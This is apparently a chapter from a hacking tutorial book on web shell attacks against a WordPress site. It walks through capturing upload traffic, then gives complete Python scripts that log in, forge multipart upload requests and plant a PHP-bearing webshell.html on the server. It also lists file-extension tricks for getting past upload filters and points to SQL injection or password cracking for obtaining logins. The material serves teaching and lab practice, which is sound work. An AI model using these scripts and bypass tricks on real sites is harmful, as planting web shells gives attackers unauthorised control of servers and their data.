A
Web shell is a program that contains code that can be delivered as commands to
the system. A Web Shell can be created by using simple server-side scripting language
(jsp, php, asp, etc.). The file upload functionality provided by the website
can be used to upload your Web Shell file, and it can be executed by calling
the next URL directly. Most websites block the Web Shell attack by checking the
extension of the file, and there are many evasion techniques. Let's look
briefly at Web Shell attacks by hacking a web site that has been developed in
the php language.
Figure 10-1 Web Shell Hacking Concept
A bulletin board can be used
by a hacker to upload an executable file (php, html, htm, cer, etc.) on a web
server. For example, let's say the name of the file is “webshell.php”. A hacker
plants code that can hack the system inside the file. Hackers run webshell.php
via URL calls and attempt a variety of attacks while changing the input value. It
is possible to accomplish various types of attacks, such as stealing data from
the server, collecting server information, gaining administrator privileges,
browsing the source code, and inserting malicious script. Once the Web Shell file
is uploaded to the server, a hacker is able to hack the system without
permission. Therefore, the functions of a Web Shell are fatal.
Let's install a simple
program to test a Web Shell attack. The file upload program in Wordpress is
made with Flash, so it cannot be easily inspected through the HTML source code.
Let’s download and install the HTTP Analyzer (http://www.ieinspector.com/download.html). This program can monitor
browser communication over the HTTP protocol.
Figure 10-2 HTTP Analyzer download
Let's
run the HTTP Analyzer program when the installation is complete. Log in to the
WordPress site and then click the “Add New” button to open the web page to
create a new topic. When you click the “Add Media” button, you can use the file
upload feature. Before you upload a file, click the “start” button on the HTTP
Analyzer first. HTTP Analyzer records all of the information that is
transferred to and from the server.
Figure 10-3 HTTP Analyzer Execution Screen
You
can view a variety of information sent through the HTTP protocol in the lower
part of HTTP Analyzer. The HTTP protocol is composed of the Header and the
Body. The Header includes a variety of information, such as the calling URL,
language, data length, cookies, etc. The Body has data that is sent to the web
server. Let's now analyze the Header and Post Data that contain the core
information.
Figure 10-4 HTTP Header
First,
let's find the Header information. “Request-Line” contains the address of the
web server corresponding to the browser’s service call. This service takes a
file that is stored on a server. “Content-Type” describes the type of data that
is being transmitted. In the case of a file transfer, the date is transferred in
the “multipart/form-data” format. “Content-Length” denotes the size of the data
that is to be transferred. “Accept-Encoding” specifies the HTTP compression
format that is supported by your browser. If the server does not support the
compression method specified for the client or if the client sends a header
with an empty “Accept-Encoding” field, the web server transmits uncompressed
data to the browser. “User-Agent” specifies the browser and user system
information. The server transmits the information in a form that is suitable
for the user's browser by using this information. “Cookie” contains the
information that is stored in the browser. When you request the web server, the
cookie information is automatically sent to the web server stored in the
header.

Figure 10-5 HTTP Header
Next,
let's look at the information in the Body. The data that is to be sent to the
server as a POST method is stored in the Body in the “key, value” format. In
the case of a file transfer, boundary information is inserted into the “Content
Type” in the header.
Basic
information was collected for the Web Shell attacks, and now let's try an
authentic Web Shell attack. First, create a php file where the server can
easily collect server information as follows.
Figure 10-6 webshell.html
WordPress
is limited to uploading a file with the “php” extension. Therefore, the file can
be uploaded by changing its extension to “html”. The PHP code that is contained
in the html file can be executed in the same was as a normal php file. If
webshell.html is running normally, the hacker can obtain a wide range of
environmental information for the Web server, and vital information will be
exposed including the PHP environment, Apache installation information, system
environment variable, and MySQL configuration.
The
procedures for the webshell.html file upload are simple.
Figure 10-7 Web Shell Attack Procedures
Ensure that any data sent to
any web page is analyzed with the corresponding HTTP packets. The majority of file
upload pages verify authentication, so you should know the login information. If
it is possible to log in by signing up, this will be easer. The detailed
procedure is as follows:
(1) Login: First, you should know the
login information. To obtain authentication information through the sign up
process, conduct a SQL Injection attack or a Password Cracking attack.
(2) Saving Cookie: The browser uses cookies to
maintain the login session with the Web server, and the Python program stores
cookies received after authentication as a variable. Then, it transmits the
cookie stored in the variable to the web server without conducting an
additional authentication process. The Python program can therefore be used to
send a file repeatedly while maintaining the login session.
(3) Loading File: Uploading the executable file
via a URL involves repetitive tasks that are required. Some files are
executable on an Apache server, such as php, html, cer, etc. Therefore, most
sites prevent uploading these files for security reasons. To bypass these
security policies, files with a different file name can be created. Through
repetitive tasks, the files are uploaded to the server to identify vulnerabilities,
and the data is then loaded by reading the file.
(4) Setting Header: It is necessary to set
information when transmitting data to the server. Set the information to the
header fields such as “User-Agent”, “Referer”, “Content-Type”, etc.
(5) Setting Body: Store the data that is to
be transmitted to the server in the Body. It is possible to obtain the basic
settings that are required when uploading the file through an HTTP packet
analysis. The rest consist of file-related data. Each of the data are
transmitted separated by “pluploadboundary”
(6) Transfering File: Call the server page with
the Head and Body information that was previously prepared. If the transmission
is successful you can call the Web Shell program via a URL corresponding to the
location where the file was uploaded. If the transmission fails, go back to Step
(3) and send the file again.
Let's create a program to
upload a full-fledged Web Shell file. Many scripts for a Web Shell attack are available
on the Internet. The file transfer process is divided into three stages: Login,
Form data setting and file transfer. First, the login program is implemented as
follows.
import os, stat, mimetypes, httplib
import urllib, urllib2
from cookielib import CookieJar
import time
cj =
CookieJar()
#(1)
opener =
urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) #(2)
url = "http://server/wordpress/wp-login.php"
values = {
'log': “python”,
'pwd': “python”
}
headers = {
'User-Agent':'Mozilla/4.0(compatible;MISE
5.5; Windows NT)',
'Referer':'http://server/wordpress/wp-admin/'
}
data =
urllib.urlencode(values)
request =
urllib2.Request(url, data, headers)
response = opener.open(request) #(3)
|
Example 10-1 Login
The
“cookielib” module is used to manage the cookies. The module searches for the
cookie information in the HTTP Response and supports the ability to save it in
a usable form. This module is essential to request the required authentication
page.
(1)
Creating the CookieJar Obejct: The “CookieJar” class extracts the cookie
from the HTTP “Request” object and is responsible to return the cookies to HTTP
Response object.
(2)
Creating the Opener Obejct: Create an “Opener” object that can call a
service by using the HTTP protocol. The object provides the open method that
receives “Request” object as an argument.
(3)
Calling Service: When the service makes a call through the “Opener” objects,
the login information is maintained, and you can call the service without
stopping. Changing the Header and the Body value of the Request object makes it
possible to change the service call.
The
above example invokes the login page while passing the username and the
password as values. You can obtain the cookie information and the successful
login message as a result. In general, the “multipart/form-data” value is
inserted into the “enctype” attribute of the form tag. When uploading files,
the body is configured unlike in the typical POST method.
import os, stat, mimetypes, httplib
import urllib, urllib2
from cookielib import CookieJar
import time
def encode_multipart_formdata(fields,
files): #(1)
BOUNDARY = "--pluploadboundary%s" % (int)(time.time()) #(2)
CRLF = '\r\n'
L = []
for (key,
value) in fields: #(3)
L.append('--' + BOUNDARY)
L.append('Content-Disposition:
form-data; name="%s"' % key)
L.append('')
L.append(value)
for (key, fd) in files: #(4)
file_size
= os.fstat(fd.fileno())[stat.ST_SIZE]
filename =
fd.name.split('/')[-1]
contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
L.append('--%s' % BOUNDARY)
L.append('Content-Disposition:
form-data; name="%s"; filename="%s"' % (key,
filename))
L.append('Content-Type:
%s' % contenttype)
fd.seek(0)
L.append('\r\n' + fd.read())
L.append('--' + BOUNDARY + '--')
L.append('')
body =
CRLF.join(L)
content_type = 'multipart/form-data;
boundary=%s' % BOUNDARY
return
content_type, body
fields = [ #(5)
("post_id", "59"),
("_wpnonce", "7716717b8c"),
("action", "upload-attachment"),
("name", "webshell.html"),
]
# various types file test
fd = open("webshell.html", "rb") #(6)
files = [("async-upload", fd)]
content_type, body =
encode_multipart_formdata(fields, files) #(7)
print body
|
Example 10-2 Setting Form Data
The general data and the file
data have different data formats. Therefore, setting up the various pieces of data
requires using complex tasks. For the sake of simplicity, the structure is
separated into a separate class.
(1) Declaring Function: Declare a function that
takes two lists as arguments. Transfer the data and the attached files into a
form-data format.
(2) Setting Boundary: When you generate the
form-data, each value is distinguished by a “boundary”. Set this to the same
format as the “boundary” identified in the HTTP Analyzer.
(3) Setting the Transferred Data: When creating the class, the
list of fields is passed as an argument. Transform the value into a “form-data”
type. Each value is separated by the “boundary”.
(4) Setting the Transferred File: When creating the class, the
list of files is passed as an argument. Transform the value into a “from-data”
type. The “filename” and “contentType” fields are additionally set. Enter the
file contents into the data section.
(5) Setting Fields: Specify all values that are
passed to the server except for the file data. Set all the values that were
identified in the HTTP Analyzer. In WordPress, this value is generated once
and is invalidated after a certain period of time. Therefore, do not use the same values in this book,
you must get it through a direct analysis with HTTP Analyzer.
(6) Opening File: Generate the list of files
that are passed as an argument to the class by opening the file. At this time,
“async-upload” which is equivalent to “name”, is the value that is confirmed in
HTTP Analyzer.
(7) Creating the Form Data: When you create a class to
return “content-type” and “body” as results. “body” corresponds to the “Form”
data. Pass both values when calling the URL for a file upload.
The “Form” data is set as
follows.
----pluploadboundary1398004118
Content-Disposition:
form-data; name="post_id"
59
----pluploadboundary1398004118
Content-Disposition:
form-data; name="_wpnonce"
7716717b8c
----pluploadboundary1398004118
Content-Disposition:
form-data; name="action"
upload-attachment
----pluploadboundary1398004118
Content-Disposition:
form-data; name="name"
webshell.html
----pluploadboundary1398004118
Content-Disposition:
form-data; name="async-upload"; filename="webshell.html"
Content-Type:
text/html
<?
phpinfo(); ?>
----pluploadboundary1398004118--
|
Figure 10-8 Form Data
Common data was placed in the
upper part and contents were placed at the bottom. The “Form” data is palced in
the HTML Body part and the Header is set. When you call the URL that is
responsible for the file upload, all of the processes are terminated. In general,
files with extensions that can be run on the server cannot be uploaded for
security reason. Therfore, the extension has to be changed, and I attempt to
hack repeatedly as follows.
• Inserting Special Characters: Place characters such as %,
space, *, /, \ that can cause errors during the file upload operation.
• Repeating Extension: Use repeated extensions such as
“webshell.txt.txt.txt.php”, “webshell.txt.php”, etc.
• Encoding: Use a circuitous way such as “webshell.php.kr”,
“webshell.php.iso8859-8”, etc.
WordPress does not have
security settings that limit uploading files with the “html” extension. If the
html file includes php code, the server executes the code and sends the results
to the client. Therefore, the html file may work as a php file. In this
example, omit the process to change the file name and to hack repeatedly.
Upload the html file, and then analyze the server environment.
Now, let’s complete the
hacking program by combining the codes that were previously described, and
verify the results.
import os, stat, mimetypes, httplib
import urllib, urllib2
from cookielib import CookieJar
import time
#form data setting class
def encode_multipart_formdata(fields,
files):
BOUNDARY = "--pluploadboundary%s" % (int)(time.time())
CRLF = '\r\n'
L = []
for (key,
value) in fields:
L.append('--' + BOUNDARY)
L.append('Content-Disposition:
form-data; name="%s"' % key)
L.append('')
L.append(value)
for (key, fd) in files:
file_size
= os.fstat(fd.fileno())[stat.ST_SIZE]
filename =
fd.name.split('/')[-1]
contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
L.append('--%s' % BOUNDARY)
L.append('Content-Disposition:
form-data; name="%s"; filename="%s"' % (key,
filename))
L.append('Content-Type:
%s' % contenttype)
fd.seek(0)
L.append('\r\n' + fd.read())
L.append('--' + BOUNDARY + '--')
L.append('')
body =
CRLF.join(L)
content_type = 'multipart/form-data;
boundary=%s' % BOUNDARY
return
content_type, body
#make a cookie and redirect handlers
cj = CookieJar()
opener =
urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
#login processing URL
url = "http://server/wordpress/wp-login.php"
values = {
"log": "python",
"pwd": "python"
}
headers = {
"User-Agent":"Mozilla/4.0(compatible;MISE
5.5; Windows NT)",
"Referer":"http://server/wordpress/wp-admin/"
}
data =
urllib.urlencode(values)
request =
urllib2.Request(url, data, headers)
response = opener.open(request)
#fileupload processing URL
url = "http://server/wordpress/wp-admin/async-upload.php"
fields = [
("post_id", "59"),
("_wpnonce", "7716717b8c"),
("action", "upload-attachment"),
("name", "webshell.html"),
]
fd = open("webshell.html", "rb")
files = [("async-upload", fd)]
#form data setting
content_type, body =
encode_multipart_formdata(fields, files)
headers = {
'User-Agent': 'Mozilla/4.0(compatible;MISE
5.5; Windows NT)',
'Content-Type':
content_type
}
request =
urllib2.Request(url, body, headers)
response = opener.open(request)
fd.close()
print response.read()
|
The detailed procedure will be omitted here because
it has been previouly described. The opener object generated by the log-in
process contains cookie information, and when you call the URL using the opener
object, the cookie in the HTTP Header is transmitted to the web server. Therefore,
the authentication process becomes possible. After uploading the file, the web
server produces a response that includes the URL for the file that was
uploaded. You can now easily run a Web Shell attack with that URL.
{"success":true,"data":{"id":64,"title":"webshell","filename":"webshell.
html","url":"http:\/\/server\/wordpress\/wp-
content\/uploads\/2014\/04\/webshell.html","link":"http:\/\/server\/word
press\/?attachment_id=64","alt":"","author":"1","description":"","captio
n":"","name":"webshell","status":"inherit","uploadedTo":59,"date":1.3979
1236e+12,"modified":1.39791236e+12,"menuOrder":0,"mime":"text\/html","ty
pe":"text","subtype":"html","icon":"http:\/\/server\/wordpress\/wp-
includes\/images\/crystal\/code.png","dateFormatted":"2014\ub144 4\uc6d4
19\uc77c","nonces":{"update":"f05a23134f","delete":"9291df03ef"},"editLi
nk":"http:\/\/server\/wordpress\/wp-
admin\/post.php?post=64&action=edit","compat":{"item":"","meta":""}}}
|
Figure 10-9 fileupload.py Execution
Result
You
can find “http://server/wordpress/wp-content/uploads/2014/04/webshell.html” in
the “url” entry. Paste it into the browser address bar with some changes, like
this “http://server/wordpress/wp-content/uploads/2014/04/webshell.html”. You
can see the result as follows.
Figure 10-10 webshell.html
The
hacker gains many advantages by being able to change the HTTP Header and Body
data provided by the program. For example, the web server sometimes changes the
UI and the script according to the “User-Agent” field. Hackers can therefore try various attacks by
arbitrarily changing the value for “User-Agent”.